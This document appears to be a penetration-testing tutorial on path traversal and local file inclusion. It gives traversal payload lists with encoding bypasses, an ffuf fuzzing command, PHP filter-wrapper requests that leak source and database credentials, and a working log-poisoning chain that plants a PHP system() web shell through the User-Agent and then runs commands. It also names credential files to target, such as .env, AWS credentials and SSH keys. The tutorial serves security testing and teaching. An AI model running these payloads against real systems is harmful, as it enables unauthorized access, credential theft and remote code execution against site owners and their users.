Path Traversal and LFI: Reading the Filesystem Through a Parameter
A filename parameter that accepts ../ sequences lets an attacker read arbitrary files and, via inclusion, execute code. We cover traversal probes, encoding bypasses, and a working file-read PoC.
Path traversal (directory traversal) lets you escape an intended folder by feeding ../ sequences into a filename the application opens. Local file inclusion (LFI) is the same flaw where the file is included/executed rather than just read. Either way, a parameter that names a file becomes a window onto the server's filesystem — config, credentials, source, and sometimes code execution.
Where it hides
Look for any parameter that selects a file, template, language pack, image, or download. The sink is a filesystem call (open, include, readFile, sendFile) built with attacker input:
- Download/export endpoints:
?file=report.pdf,?download=,?path=,?doc=. - Template/theme/skin selectors and language loaders:
?template=,?lang=en,?page=. - Image and attachment servers:
?img=,?avatar=. - Log viewers and "view source" features.
The detection method is to inject traversal sequences toward a file you know exists and watch for its contents. The canonical targets are /etc/passwd on Linux and win.ini on Windows:
GET /download?file=../../../../etc/passwd HTTP/1.1
Host: app.example.com
A response containing root:x:0:0: is an unambiguous hit. If a single ../ is stripped, increase the depth and rotate encodings — the bypass is the discovery here:
....//....//....//etc/passwd (nested, survives one round of stripping)
..%2f..%2f..%2fetc%2fpasswd (URL-encoded slash)
%2e%2e%2f%2e%2e%2fetc/passwd (encoded dots and slash)
..%252f..%252fetc%252fpasswd (double-encoded)
/etc/passwd (absolute path, if no prefix is enforced)
..\..\..\windows\win.ini (Windows separators)
....\/....\/etc/passwd (mixed)
ffuf over the parameter with a traversal wordlist quickly finds which depth and encoding break out:
ffuf -w lfi-payloads.txt:FUZZ -u 'https://app.example.com/download?file=FUZZ' \
-mr 'root:.*:0:0:' # match the /etc/passwd signature in responses
Reproducing it
Once a probe returns file contents, the repro is reading a high-value file. Capture the exact request and one piece of sensitive content:
GET /download?file=..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: app.example.com
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
When the app appends a fixed extension (e.g. it opens INPUT.pdf), defeat it with a path-truncation or null-style trick on older stacks, or simply target files that fit the suffix. On PHP, wrappers turn LFI into source disclosure and more — read the base64 of a source file so the appended extension is moot:
?page=php://filter/convert.base64-encode/resource=../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=index
Decode the returned base64 to recover the file's contents:
curl -s 'https://app.example.com/index.php?page=php://filter/convert.base64-encode/resource=config' \
| base64 -d # reveals config source, often with DB creds
For an LFI that executes what it includes, escalate to code execution by getting PHP into a file you can include — a poisoned log or session whose path you control:
# 1) Inject PHP into the access log via the User-Agent
curl 'https://app.example.com/' -A '<?php system($_GET["c"]); ?>'
# 2) Include the log through the LFI and run a command
curl 'https://app.example.com/?page=../../../../var/log/apache2/access.log&c=id'
# uid=33(www-data)... == LFI to RCE via log poisoning
Going further
Even read-only, traversal yields a lot — aim at what unlocks the next step:
- App config and
.envfiles (DB credentials, API keys, framework secrets). - Cloud credential files (
~/.aws/credentials), SSH keys,/proc/self/environ. - Application source to find further bugs, and session files to hijack.
A practical recon habit is to fire a depth-padded, multiply-encoded ../etc/passwd (and the Windows equivalent) at every file-naming parameter and grep responses for root:.*:0:0 or [extensions] — that single sweep flags traversable sinks. Capture the request, the encoding/depth that broke out, and one concretely-read file. Read only enough to prove the access, and restrict testing to authorized targets.